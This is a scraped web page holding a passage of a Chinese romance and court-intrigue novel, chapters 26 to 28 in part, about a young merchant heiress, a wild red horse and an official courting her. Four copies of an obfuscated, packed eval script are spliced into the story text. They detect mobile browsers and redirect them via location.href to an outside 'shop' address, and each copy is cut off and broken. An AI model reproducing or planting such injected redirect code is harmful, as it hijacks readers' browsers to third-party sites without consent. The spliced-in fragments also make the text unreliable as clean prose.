;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211522|197420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?表哥有一匹乌云踏雪,可神气了,只听表哥的话,让他带你骑。” 明明说话的是王珣,其他人却时不时似笑非笑地瞥一眼谢青衍。 谢青衍尴尬地又踢他一脚,后悔昨天和他说太多,还当他真聪明了,结果小心思全在面上,姜元序怕是更加确信他是漏勺了。 姜元序的视线在他们两之间来回转了两圈,看得谢青衍坐立难安。 姜元序歇了逗人的心思,笑说:“我初到京城,人生地不熟的,麻烦谢大人带我好好玩玩。” 谢青衍小声道:“不麻烦,你有什么想玩的直接和我说。” 王珣觉得不够,想继续补充,谢青衍眼疾手快地搭上他的肩,强迫他转过身,另一只手飞快夹菜放到他碗里。 “珣儿,刚才都没吃多少,再吃点。” 谢青衍用眼神命令他:闭嘴,吃菜! 王珣不理解,但照做。 众人笑着转开头,不去看两人的小官司。 许安宁啧了一声,对姜元序道:“你到京城,是该换匹马了,人家骑马在猎场驰骋,你骑马在那啪嗒啪嗒走,多搞笑啊。” “走马是好用,但跑马好看啊。” 韩乘霖也同意,接话道:“我们家有不少好马,你到时候来挑一匹。” 姜元序意味深长地笑了笑,含蓄地说:“我有新的马了。” “呵呵……”吴善民掩唇轻笑,同样意味深长,“昨日刚收到的。” 两人的异样勾起了众人的好奇心,连忙催问是什么马,需要这副表情打前奏。 姜元序放下筷子,稳了稳得意的表情,扶了扶面具,轻咳一声,矜持地说:“韩叔遣人给我送了匹赤兔。” “赤……兔?!”韩乘霖有点怀疑自己的耳朵。 “是那个传说中的赤兔马?” “真的有赤兔啊?” 冲击太大,众人根本不敢信,以为她在开玩笑呢。 姜元序不装了,那表情要多得意就有多得意,手舞足蹈地和他们炫耀。 “跟传说中一模一样!全身火红,不是赤红,是火红!比婚服还要鲜艳的红!” “四蹄发黑,像穿了黑色军靴的战士一样,雄赳赳气昂昂!” “韩叔说巡边的时候偶然碰到的,派了一百多个骑兵才套住,一点驯养的痕迹都没有,完全是天降神驹!” 姜元序顺利收获一众艳羡,大手一摆,大方道:“一会儿带你们去看!” 光言语炫耀哪里够,当然得让他们仔细看看实物,看了才会相信世上真有如此神驹,而这独一无二的神驹是她的!她的! 韩乘霖拍桌,“还等什么!现在就去!” 其他人也同样跃跃欲试,饭什么时候都能吃,看赤兔的机会可从未有过。 姜元序严词拒绝:“不行,你不吃饭,马得吃饭,你不休息,马得休息。” “等外边日头没那么晒了,再带你们去,晒着你们可以,晒着我的小宝贝可不行。” 这会儿家里还有那么多客人,他们是能走,她可不能走,她不在场怎么炫耀? 韩乘霖没那么好糊弄,姜元序不给他说话的机会,笑眯眯地转移众人的注意力。 “谢大人带骑装了吗?没带的话,我这边也有,一会儿让人带你去换,马场有不少好马,正好可以跑一跑。” 谢青衍瞄了韩乘霖一眼,还是附和道:“带了,我让云慎去取。” 姜元序又转而对王珣道:“你表哥第一次来,一会儿你带着他玩,午憩去客房或者凉亭,今日船也备好了,去船上休息也行。” 王珣不知道话题怎么转到这儿,愣愣地点头。 姜元序接着问其他人:“要给你们准备小船吗?” 许安宁哼道:“以为谁都跟你似的,喜欢往荷花堆里钻?” 姜元序慢条斯理道:“划一叶小舟,漫无目的地飘荡在湖上,偶然间挤进层层叠叠的荷花丛,听鸟鸣声声,看鱼戏莲叶,多少人求都求不来的心境。” “你们这群粗人哪里会懂。” 姜元序嫌弃地指指点点,顺利挑起其余人的不满。 然后朝谢青衍眨眨眼,柔声说:“谢大人,你懂吧?” 谢青衍哑然失笑,顶着众人不善的目光,毅然点头:“懂!” 26. 烟火落尽 “笃笃——” 船上的人眼睛盖着一片荷叶,睡得很熟,姜元序用船桨敲敲船尾,也没把人叫醒。 她把拦路的荷花往外拨一拨,船顺势划过去,俯下身去揭荷叶,刚揭开一个角,手就被抓住了。 谢青衍迅速起身,荷叶随之掉落,他才看清面前笑意盈盈的人,怔忪间看见自己抓着姜元序的手腕,瞬间像被烫到一样,急忙放开。 有些局促地说:“抱歉,我刚刚睡着了,有些迷糊,抓疼你了吗?” “没有。”姜元序笑着转了转手腕,这点力道哪里伤的到她。 “夏日的午后,远离人群来这里睡一觉,很惬意吧?” 谢青衍舒展一下肩膀,赞同地点点头:“像大梦三天,醒来后沉疴尽去,心境开阔不少。” 他只是想来体验一下姜元序所说的求之不得的心境,没想到刚躺下不久便酣然睡去,另一艘船划到旁边,竟一无所觉。 前些日子熬夜审案,昨日又和王珣聊了大半宿,连日的疲惫在这个悠闲的午憩时间一扫而光。 “那赶紧回去吧,带你去看马,他们都等急了。” 姜元序心有余悸地说:“刚才要不是我及时跳上船,这会儿已经被他们抗去马场了,这群野蛮人!” 她拿过船桨准备把船划出去,谢青衍及时拦了一下,从袖中拿出一块牌子递给她。 “这个收下吧,不是说还要去巡视几处生意,有备无患。” 姜元序接过玉牌,还是熟悉的谢家令牌,想了想,也不忸怩,直接收进袖中。 “行,多谢谢大人了。” 谢青衍见她收下,很是开心地说:“别叫谢大人了,叫我名字就行。” 又不是没叫过,生气的时候分明是叫名字的,气一收反倒生疏起来。 姜元序划出去一段距离,头也不回,略提高些声音道:“那样显得我很没有礼数。” 谢青衍快速划几下,追上姜元序,大胆起来,“那你叫青衍哥哥。” 姜元序划船的手一顿,扭头对上笑容满面的谢青衍,好心奉劝道:“适可而止吧,谢大人。” 谢青衍不怵她的冷脸,边划船边喋喋不休:“不愿意叫青衍哥哥,叫谢哥哥也成。” “我本就比你年长,你叫我哥哥多合礼数啊。” “姜元序,你是个有礼数的好姑娘。” 姜元序兀自划着船,语气颇有些义薄云天的味道:“这样,咱俩结拜,以后你就是我亲哥。” 谢青衍笑容一僵,被堵得说不出话,艰难道:“倒也……不必。” 谁要做亲哥哥,他要做情哥哥! 他也不气馁,继续搭话:“你喜欢什么蔬菜,我回去种上,你到京城就能吃。” 姜元序来了兴趣,划桨的速度慢下来,兴致盎然地问:“这时候能种些什么菜?” “白菜、菠菜、黄心菜、乌菜、莴苣、萝卜……”谢青衍脱口而出一串菜名。 姜元序想了想,说:“绿叶子菜都吃的,白菜白萝卜的话,只吃蜀地的做法,泡白菜、泡萝卜,你吃过吗?” “没有,那我找两个蜀地的厨子。” “不用,我家厨子要跟我去京城的,你到时候来吃,酸酸辣辣,很好吃的。” “好,我都种点,你喜欢什么口味的点心?” “不太甜的。” 岸边,韩乘霖和许安宁大马金刀地立在那儿,黑着脸,双手抱胸,一动不动地盯着那两条晃晃悠悠的小船。 姜元序看见两人的架势,划桨的力度更小了,每次只撩一小簇水,小船越靠近岸边速度越慢,成功让两人的脸又黑了一层。 谢青衍先上岸,姜元序随后跳上来,轻咳一声,准备继续拿乔。 许安宁二话不说,冲过去扛着人就跑—— “许安宁!你这个野蛮人!”姜元序怒吼。 韩乘霖冷哼一声,朝瞠目结舌的谢青衍道:“快去换衣服。” 众人换好骑装,去吴家后面的马场,远远就看到一团火红的身影,似真似幻,美得像一幅画卷。 近看发现马腿绑住了,四个马夫牢牢制住马身,瞧见姜元序,连忙诉苦:“姑娘,这马太凶了,马棚的栅栏都踢坏好几个。” 他们都是经验丰富的驯马师,第一次遇到这么凶的,一整个晚上都在试图越狱,没有技巧,全靠蛮力。 姜元序抬手喂了块糖,赤兔雀跃地往上一跳,四个马夫差点没制住。 韩乘霖帮着拽了一把,啧啧称奇:“怎么真能长成这样呢,红艳艳的,染料都染不出来。” 他激动地搓搓手,朝姜元序道:“让我骑两圈。” “可以,先戴上护具。”姜元序相当大方。 韩乘霖不满:“我什么样的烈马没骑过,哪里用得上这玩意。” 姜元序轻描淡写道:“韩叔都没驯成,你自己掂量一下。” 韩乘霖呼吸一窒,掂量了一下自己和老爹的差距,默默去把护具戴上。 众人退到场外,马场现有的工人集体出动守住各个关卡,马夫紧张地把绑腿的链子解开,小心翼翼把缰绳给韩乘霖。 韩乘霖心绪激动,迅速往马背上一跃。 然后。 “啪——”“砰——”“哐——”“咚——” 场外。 “咦~”“啧。”“哦?”“嚯!” 许安宁摇摇头,唉声道:“太凶残了——” 这哪是驯马,分明是驯人。 她戴好护具,进场接过缰绳,韩乘霖一瘸一拐退下场。 许安宁力气极大,牢牢贴在马背上,赤兔甩不掉身上累赘,索性四蹄朝天,躺地装死。 一人一马僵持了一炷香,许安宁差点把马扛起来跑。 姜元序笑得弯下腰,朝谢青衍道:“要去试试吗?” 谢青衍犹豫了一瞬便点头应下,虽说摔马的样子很狼狈,他不想让姜元序看到,但若是连上场的勇气都没有,还有什么资格喜欢她。 谢青衍不像韩乘霖那样莽,他也没有许安宁那样的力气,但他敛起疏离感,那身温柔的气质,唬人也唬马。 不过一会儿,赤兔便发现背上那玩意和刚才那俩是一路的,瞬间开启狂暴模式,疾驰急停,左摇右晃,上蹿下跳。 姜元序松松筋骨,戴上护具,救下灰头土脸的谢青衍。 赤兔赢下三场,气焰嚣张,姜元序摸摸它的头,夸道:“聪明,看人下碟,还知道把人骗进来杀。” 刚爬起来的谢青衍听到这话,骨头感觉更疼了,想提醒几句,姜元序已经翻身上马,一扣缰绳扬长而去。 赤兔没跑几步又想故技重施,姜元序有了前几个人的前车之鉴,总能预判它的动作,提前做出反应,游刃有余地安抚暴躁的马儿。 天生天养的赤兔怎么会轻易被人驯服,骤然撒腿狂奔,风驰电掣,黄沙扬起,并不大的驯马场内,只看得清一团火焰穿梭其中。 场内的驯马师和场外的众人都沸腾了。 “我天,跑起来了跑起来了!” “太快了,得亏是红色,不然谁看得清!” 许安宁不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姗姗来迟的吴善民对这个结果并不意外,呵呵笑说:“这虽是匹野马,但性子凶的,和你自己养的一样。” 姜元序立马反驳:“怎么性子凶就成了我养的了?是它本来就凶。” 吴善民:“你养的猫都比别人凶,还有安宁,昌康,以前性子软的,天天受欺负,再看看他们现在。” 韩乘霖惊讶道:“安宁还会受欺负?” 许安宁摸摸脑袋,讪讪地笑,姜元序来之前,没人跟她说过被打了还能打回去的,她甚至都不知道自己的力气异于常人。 王珣也不敢信:“吴昌康性子软?” 吴善民解释道:“元序没来之前,安宁、昌康还有熹月,三个受气包,挨了欺负也只会哭,平时都躲着其他小孩。” “元序来了之后,直接带人打上门,受气包硬生生练成了打手。” 他总结道:“反正在她身边呆久的,没一个不凶的,再凶的人到她面前,也就那样。” “哈哈哈哈……”韩乘霖忍不住大笑出声,“因为没人比她凶!我爹那么臭的脾气,在她面前都是好性子。” “哈哈哈哈……” 天色渐暗,吴家的晚宴结束,江州河上绽开绚丽的烟花,比以往的烟花更大更鲜艳,仿佛预示着前路更加光明璀璨。 烟火落尽,船只靠岸,江州的热闹告一段落。 谢青衍逆着人群,和她告别:“生辰吉乐,我在京城等你。” 或许是月色过于温柔,姜元序唇角微扬,轻声道:“好。” 27. 新的征程 京城,内阁。 “老谢,你先看看这个,韩指挥使的折子,是你家青衍代的笔吗?”杜羡之低声说。 谢维接过折子,仔细看下去,不禁轻笑出声:“青衍的折子不是刚看过,他那闷性子,能写出如此有趣的折子吗?” “这就奇了。”杜羡之疑惑,“韩指挥使出京时可就带了京营卫,从哪儿找的神人。” 谢维逮着几个片段反复端详,越发觉得妙趣横生,言近旨远,又拿起谢青衍的折子对比,嫌弃地撇了撇嘴,一板一眼,一点不像是他教出来的。 折子在几位阁臣间轮了一圈,最终到李首辅案上。 江州一事涉及太子和周家军,折子放在最前端,李凡玉翻开韩乘霖的折子,紧皱的眉头竟慢慢舒展开,上眼皮略微压下,眼底全是意味深长。 江州,韩乘霖,江州粮食商会。 一年前,周家动关系想把周明坤安排到江州,他稍一衡量便批下同意。 他想看看,那位手段莫测的商会主事,碰上权势滔天又五毒俱全的周家,是选择继续偏安一隅,还是借势入京。 自江州粮食商会成立,各地粮商皆以江州为首,雁门郡一战后,它又成为西北军的军粮供应商。 几次大灾时,更是表现出了超越朝廷的粮食调拨能力和对商户的威慑力。 李凡玉可以这么说,如今景朝粮价平稳,六成功劳归于江州粮食商会。 他一直严阵以待,待那位主事入京,露出獠牙,搅弄风云,可这么多年过去了,偏偏人一直窝在江州,丝毫没有靠近朝堂的意思。 他等不及了,恰好周家撞上来,他索性推一把,好好探探那人的底。 两方相安无事了一年多,他不免心生失望,觉得自己或许高估了那人的能力。 一个月多月前,周明坤贪墨的证据送到案前,他心下稍安,至少没有看走眼。 钦差出京后,又是劫粮案,时间卡的刚刚好,他当下便明了其中的猫腻,觉得这才对。 紧接着是铜矿案,一案重过一案,令人目不暇接。 他放下韩乘霖的折子,拿起谢青衍的,细看过后,心道果然如此,谢家冒头对上周家,商会再次隐身。 很明显是那人的手笔,他简直想拍案叫绝,借力打力这一招玩得真娴熟,挑起那么大的事端,让几方势力相争,自己达到目的又全身而退。 不在朝堂,却能摆弄朝堂,那是个真正的执棋人。 他又拿起韩乘霖的折子,逐字看过去—— 应当是个年轻人,字里行间的少年意气根本藏不住; 措辞严谨,应当是特意练过,馆阁体,也许会走科举。 那人前些年如此低调,或许是因为年岁尚小,如今时机成熟,这死气沉沉的朝堂,想必很快会迎来一位有趣的年轻人。 李凡玉心情大好,提笔写下处理意见:周家军军费挪三成给西北军,韩指挥使剿匪有功,当赏。 又着手批复谢青衍的折子,不禁腹诽,同是年轻人,刚才那位心思澄澈,这位却是满肚子阴谋诡计,不忍直视。 下值后,谢维刚跨出殿门便被杜羡之喊住,两人一同往宫门口走去。 身边无其他人,杜羡之问:“你家青衍要回来了吧,我上次说的那事儿……” 谢维脚步顿了一下,瞥了杜羡之一眼,道:“等青衍回来,看他的意思。” 杜羡之不满:“这婚嫁一事,父母之命媒妁之言,你好歹当人祖父的,怎么一点都不上心。” “你是哪个朝代来的老古董?”谢维嗤道,“这年头已经不兴盲婚哑嫁了,孩子的意愿最重要。” “我也没说就这么定下啊,先让两个孩子见见,相看相看。”杜羡之说。 谢维对他的急切相当不解:“你家小孙女才十六,你当祖父的真是一点不心疼,就这么着急让人嫁了?” “这不是看中你家青衍了吗,他都二十了,我怕下手晚了。” 谢维摇头叹息道:“二十了也是块不开窍的石头,我是说不动他。” 说到这个,杜羡之就有话说了,“这都得怪你,好好的非让他种地。人家下了值喝喝小酒,他下了值就得回去伺候你那块破地,你把他当石头使,他自然是块石头。” 谢维感觉自己被迎头打了一闷棍,嗡声道:“他也挺喜欢的啊。” 杜羡之斜睨着他,哼道:“那是孩子孝顺,偏你这个当祖父的,一点不体谅孩子。” 谢青衍除了性子冷点,其余的真是挑不出什么错。 他孙女整天躲房间里捣鼓些不知道什么东西,要么去慈幼院教其他女孩子认字,说也不说听,拦也拦不住,家里倒是能宠着,但以后嫁人,婆家怕是不会纵着。 他看来看去,唯独谢家家风开明,谢青衍又能护住自己人,孙女嫁给他,至少能由着性子做事,不必担心被拘在后院受欺负。 杜羡之杵杵谢维的胳膊,下巴一抬,直接道:“这事儿就这么说定了。” “谁跟你说定了?” 谢维袖子一甩,把手背在身后,缓缓道:“我当祖父的体谅孩子,孩子没点头同意之前,我什么都不会说,更别提什么定不定了。” 说完也不管杜羡之如何气恼,兀自走向自家马车,直到帘子落下,他的表情才垮下来。 青衍在江州也不知发生了什么,先是要了套头面,又传信说要去江州当知州,这回又说不去江州了,要借着周家的事好好往上走一走。 孩子上进是好事,家里当然要帮忙,只是这一系列的转折,实在令人担忧,别是受了一身情伤回来。 钦差离开三日后,姜元序坐船北上。 她去京城的时间不短,吴善民半月前便开始安排人收拾物件,惯用的东西都得带上,最重要的还是人手,贴身伺候的丫鬟、绣娘、厨子、护院、车马夫…… 零零总总的,越收拾越多,最后清了一艘客船才装下。 姜元序说是去巡视生意,实际上是给自己放了个假,游山玩水的,自几年前游历归来,她已经好几年没出过远门。 各地的生意每年都安排了人巡查,人心是难防,但只要没有出现制度性差错,不会有大乱子,她没必要把所有细节都抓在自己手里。 许安宁也在,她要去宁远郡,前面一程和姜元序同路,她第一次出来游玩,比姜元序激动多了。 左右是自家的船,可以随心靠岸,姜元序提前划了几个地点,按部就班玩了两个地方,大家情绪高涨,开始抽签决定下一个地点。 有时候会到比较贫瘠的县镇,他们一行衣着考究的姑娘家出现,惹来不少异样的视线。 身后跟着一群带刀的护卫,倒是没人敢上前使绊子,但这种饱含人间疾苦的目光,碰到了难免让人唏嘘。 一路走走停停,一个月的时间才到中州,到这里姜元序就要和其他人分开了。 临行前一晚,姜元序没有歇在客栈,反而找了条小船,和许安宁一起躺船上看星星。 姜元序先开口:“说吧,支支吾吾了好几天,今晚再不说,可没机会了。” 许安宁努努嘴,嗫嚅半晌,不知如何开口,姜元序也不催她,静静地等着。 许安宁在脑海里反复琢磨语句,最终说出口的,只有四个字:“我想参军。” 姜元序一怔,问:“什么时候有的念头?” 许安宁望着满天星辰,心里纷乱的想法慢慢理顺。 “应该是你留在衙门的那一天,我发现光有钱真的不够,我们得有权才行,可我不知道怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211524|197420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才能有权。” “女子不能科举,就算有,我也考不出来,所有只能从军。” “我听韩二哥说了很多军营的事,发现从军建功立业也不容易,更何况我还是个女子,不光要防着外敌,还要防着自己人。” “这条路太难了,我连远门都没出过,心里害怕,就放弃了这个念头。” “但这一个月,我看到了外头的生活,心里反倒安定下来,我想要权力,就得辛苦去争,我不争,永远不会有。” “上天给了我一身力气,总不会是为了让我做糕点的,或许从军就是我应该走的路。” 姜元序听出了她的决心,沉默良久,才道:“你可以跟我去西北,韩叔不是个囿于陈规的人,你是女子也无妨,等你有了军功,自会为你请功。” 许安宁知道她的意思,笑笑道:“我要去周家军。” “你看过周老将军的情报吧。”姜元序皱眉,“那不是个好相与的,而且年老昏聩,养寇自重,昏招频出,一不留神,边境就得失守。” “我知道啊,所以我才要去。”许安宁想的很清楚,“我是奔着当将军去的,打仗才能有军功。” “你说过,西北近年不会有大的战事,但宁远郡异动频频,不出两年必有一战,我得抓住这个机会。” “你连人都没杀过,就急着上战场了?” 许安宁没有见过真实的战场,姜元序却是见过的。 如今的战争多是用士兵的命去填,所以当时雁门郡一战,她和韩叔才会有那么多分歧。 “你的身手是不错,在平地上赤手空拳,能以一敌百,但宁远郡多的是重骑兵,你能打几个?” “韩叔能一战成名是因为他是韩家人,一开始就能领兵,但你只能从士兵做起,连马都不会有。” “而一个士兵的身手在战场上的作用微乎其微。” 姜元序又和她讲了许多战争的见闻,试图打消她的念头。 许安宁不为所动,“我知道不容易,所以你给我安排个好点的身份,再帮我想想办法,在开战前让我当个小头头,百夫长、千夫长什么的。” 姜元序被她理所当然的要求一噎,不可置信道:“周家军难不成是我的吗?我什么都能给你安排?” “别装!”许安宁扇了她胳膊一下,“你肯定在周家军里安插了人手,现在又有军粮,安排起来肯定更容易了。” 姜元序打回去,没好气道:“你当将军还是我当将军,那么容易我自己去得了,我身手也就比你差点,高出其他人一大截。” “哼,别以为我不知道你去京城干嘛的,什么生意需要处理这么久?” 许安宁抖抖腿,悠悠然道:“还非要住谢家隔壁,什么地段好,也就蒙蒙姓谢的。” 姜元序嘴硬道:“就不能是因为我喜欢他?” “得了吧,只是喜欢他,你不可能接受他的宅子。” 许安宁揶揄地笑笑:“不过看他五迷三道的样,就算知道被你利用了,估计也不会觉得有什么。你要是在京城玩脱了,索性嫁给他。” 姜元序叹一口气,“我要是玩脱了,嫁谁都没用。” 许安宁翻身坐起,目光粼粼地望着姜元序。 “你看,我们都在走一条很危险的路,但这条路上的报酬太丰厚,我已经看到了,无法装作没看见。” 姜元序有些怅然,也有些欣慰,那个被欺负都不知道还手的小女孩长大了,有了自己的野心和抱负。 她捏捏许安宁的小圆脸,“那就出去闯闯,只要留着一条命,我何时何地都能捞你!” “哈哈哈……好!”许安宁朗声大笑。 她也捏了捏姜元序的脸,傲然道:“你要是玩脱了,我带着二十万大军去捞你!” 28. 从未输过 谢青衍回程的路途急切不少,倍道而行,终于在八月十二抵达京城。 他第一时间去皇宫复命,提交述职奏疏,交还钦差敕书,江州相关卷宗归入刑部,相关人员押入大牢,和上官汇报此次差事处理情况。 谢维知道谢青衍今日归京,到了时辰便匆匆往宫外走,远远看见谢青衍侯在自家马车旁,和杜羡之的孙子杜衡说着什么。 瞧着虽风尘仆仆,面带倦色,但精神头尚好,他不免舒出一口气,放慢脚步,徐徐而行。 杜羡之拖着臃肿的身躯紧赶慢赶,总算在宫门口追上谢维,瞧见前头的谢青衍,眼神一亮,快步超过谢维。 谢青衍和杜衡迎上前,拱手行礼。 杜羡之捻着花白的胡须,笑得和善:“青衍在等你祖父啊,你这孩子就是太孝顺,赶了一路该回去好好休息才是,你祖父好好的,哪里需要你接。” 谢青衍谦虚道:“也是刚忙好,劳您挂念了。” 杜衡不满地上前,张开手在杜羡之眼前晃了晃,:“您孙子同样孝顺地在这儿等您,您是一眼没瞧见吗?” 杜羡之拂袖蹙眉,瞪了杜衡一眼,警告他少作怪,转向谢青衍时又恢复了慈眉善目。 “青衍这次的差事办的不错,你年纪轻轻行事如此周全,实属难得。” “公事办好,也该考虑考虑私事了,这终身大事耽误不得啊——” 谢青衍有些诧异,想到什么,掩饰不住地莞尔一笑,点头应道:“是,是该考虑了。” 杜羡之得意地朝谢维看了一眼,觉得这事儿已经成了一半。 而更加熟悉谢青衍的杜衡震惊不已,只是这个场合人来人往的,不好寻根究底,只好压下满腹的疑问。 他挤上杜羡之的马车,压低声音问:“祖父,你是不是想给小妹和青衍牵线?” 杜羡之闭着眼睛哼了一声,杜衡在马车另一侧坐定,“那你还是省省吧,青衍应当是心里有人了。” 杜羡之闻言瞬间睁开眼睛,目光凛冽,沉声问:“他跟你说的?” “哪里需要说?”杜衡双手一摊,肯定地说,“他刚才那副样子,明显是动春心了。” 杜羡之仔细回想刚才那一幕,也察觉到不对,在他说完终身大事后,谢青衍身上的冷意如春风化雨般散去,整个人都柔软起来,可不就是动春心的表现。 好好的孙女婿丢了,杜羡之相当不得劲儿,转念一想,变故是出在这一个月里,谢青衍怕是在江州这一路碰上什么人,开了窍,但情窦初开,未必能走到一起。 杜衡猜到自家祖父在想什么,直接道:“青衍是个认真的,他心里有了人,不管最后两人成没成,小妹不能嫁他。” 他的妹妹样样都好,何必去蹚浑水。 “攸宁那个样子,满京城还有比谢家更好的去处吗?” 杜羡之凉凉地睨他一眼,他见惯了世间百态,有自己的成算。 “两情相悦走到两看相厌的夫妻,比比皆是,倒不如一开始就找个相敬如宾的。谢青衍是个有担当的,家里也好,外头也好,都能护着攸宁,她尽可以做自己的事。” “没有更好的去处就让她留家里,杜家还养不了她一辈子了?”杜衡反驳道。 “说的轻巧!”杜羡之隐隐发怒,粗声粗气道,“你是男子,哪里知道一个女子不嫁人,要承受多少流言蜚语,杜家还没能耐到,能挡住那些无孔不入的恶言恶语!” 杜衡知道祖父是为小妹打算,好言相劝:“祖父,如今和你们那时候不一样了。” “江南一带多的是女家主,东兴大街一溜儿的女掌柜,你看她们怕了吗?那些顽固不化的酸儒的讥讽之语,不过是嫉妒她们的能耐,当个屁放了就成。” 提到这个,杜羡之更生气了,冷言斥道:“我看你是被那女掌柜迷昏了头!” “是,我是为千掌柜倾倒,我欣赏这样的女子。”杜衡大方承认,“如果攸宁想自己做一番事业,我绝对全力支持她。” “她可以单独立户,可以招赘,她的孩子也可以跟她姓,她不需要去当别人家的养料,杜家可以由杜攸宁开启新的一脉。” 杜羡之闭上眼睛不再搭理他,一个坐享其成的人,哪里知道开宗立族的艰辛,他杜羡之的孙女不需要吃这份苦。 另一边,谢维揣着手,也不说话,就这么眯着眼睛一动不动地盯着谢青衍,嘴角还挂着意味不明的笑。 谢青衍被看得不自在,红着耳根讨饶:“祖父……” 谢维许多年没见过他害羞的样子,觉得有趣,调侃道:“要成亲了?” “哪有这么快,早着呢。” 谢青衍对上祖父戏谑的神情,发出一声极低的喟叹,无奈道:“目前还是我一厢情愿。” 谢维嘴角颤了颤,错愕不已,半晌才找回自己的思绪,察觉到不合理之处。 “你没把人带回来,也不去江州,那你之后是如何打算的?” 分明是一副情根深种的样子,难道甘心就这样草草收场? “她要来京城了。”谢青衍眉目舒展,声音都带上笑意,“不过不是成亲,是来打理生意的。” 谢维看的稀奇,谢青衍越长大,性子越冷清,有时连他都琢磨不透,如今一提到那位姑娘,不自觉流露出来的情意,藏都藏不住。 他好奇地问:“是个什么样的姑娘?” 许多赞美之词在谢青衍嘴边绕了一圈,又被他吞回肚子,他头一次感觉到言语的贫乏之处,简简单单的褒奖之语根本无法勾勒出完整的姜元序。 最终他换了个说法:“祖父看过韩大人的折子吧,您觉得这背后是个什么样的人?” “是她写的?”谢维诧异,“她和韩家什么关系?” 谢青衍简单解释,谢维凝神倾听,听到那些趣事也不免欣慰笑笑,能被韩其如此肯定的女子,定然不会有错。 他感慨道:“才华横溢,心思澄澈,兼之能力出众,真是被你挖到宝了。” 谢青衍与有荣焉:“不仅如此,她的性子更是率真可爱,您一定会喜欢她的。” “我喜不喜欢尚且不提,你是喜欢极了。”谢维打趣道,“瞧你那不值钱的样子。” 到家时,一大家子已经等着了,王令仪许久不见儿子,亲热地拉着他的手询问他累不累,看着清减不少,连一向严苛的谢玉韬也关心了几句。 底下的弟弟妹妹见状也不敢造次,恭恭敬敬地问大哥好,谢青衍又恢复往常疏离的性子,只在面对母亲时稍显软和。 饭毕,谢维让谢青衍陪母亲说说话,王令仪不忍孩子太累,两人相携往谢青衍的院子去,迫不及待地询问那位姑娘的事情。 谢青衍说了些江州的事,又说了姜元序和王家的关系,王令仪惊呼:“你们竟有如此缘分?” 谢青衍同样觉得他和姜元序缘分不浅,那些琐碎的、不经意的牵扯,在这些年里不断叠加,织成一根牢固的红线,将他拉到江州,遇到她,爱上她,再将她带来京城。 王令仪欣喜地说:“娘明日就让人把隔壁收拾出来,那宅子虽是修好了,但还需要添不少物件,得尽快置办。” “辛苦母亲了。” 谢青衍沐浴更衣后,又往谢维的院子去,信件不好写的太详细,许多内情还需要当面说清楚,接下来的行动也得好好商量。 谢维听过后,叮嘱谢青衍:“江州粮食商会主事一事,不要透露出去。” 隔日,午膳时间,谢维推开挤上来的杜羡之,亦步亦趋地跟着李凡玉坐到角落。 四面无人,但他还是压低了声音,神秘兮兮地说:“我孙子见到了那位主事。” 李凡玉抬头掠了他一眼,兀自低头吃饭,他昨日看了江州的卷宗,自然知道那人不光出现了,还上了公堂。 见他不搭茬,谢维又兴致勃勃地问:“你猜她几岁?” 李凡玉的筷子一顿,谢维已经迫不及待说出答案:“刚过完十八岁生辰。” 李凡玉对这个结果并不意外,“韩家的折子也是他写的吧,一看就是个年岁小的。” “人家可不只是年岁小。”谢维得意地哼哼,“她站在你面前,估计你也认不出来。” 李凡玉微压眼皮,目光凌厉,谢维 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211525|197420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是无的放矢之人,那人的身份怕是有异。 谢维可不怵,闲适地晃了晃脚,他们这些年都默契地没有查那人的身份,临门一脚,倒是让谢青衍先撞上了。 “首辅大人,这局我赢了,看起来还要一直赢下去了。”他得意洋洋地说,“谁让我有个能耐的孙子呢。” 这话就有些捅人心窝子了。 李凡玉十五岁中进士,一路走到首辅,惊艳了两朝,谢维也是年少成名,可是在李凡玉夺目的光彩下,显得他平平无奇。 两人争锋相对过,同舟共济过,老了老了,开始比下一辈。 谢家好歹出了个谢青衍,李家却好似被李凡玉一人吸干了这一脉所有的灵气,子孙皆是庸碌之辈。 “人还没进京,胜负犹未可知。”李凡玉不屑道。 谢青衍已经成了出头的椽子,能有多大的能耐,真正做局之人,向来坐山观虎斗,能顺利收割胜利成果的,只在最后一击。 谢维也不和他争,事实胜于雄辩,“首辅大人,愿赌可要服输。” 姜元序是女子,且和他家有着千丝万缕的关系,这一局,天时地利人和,他全占了,绝不可能输。 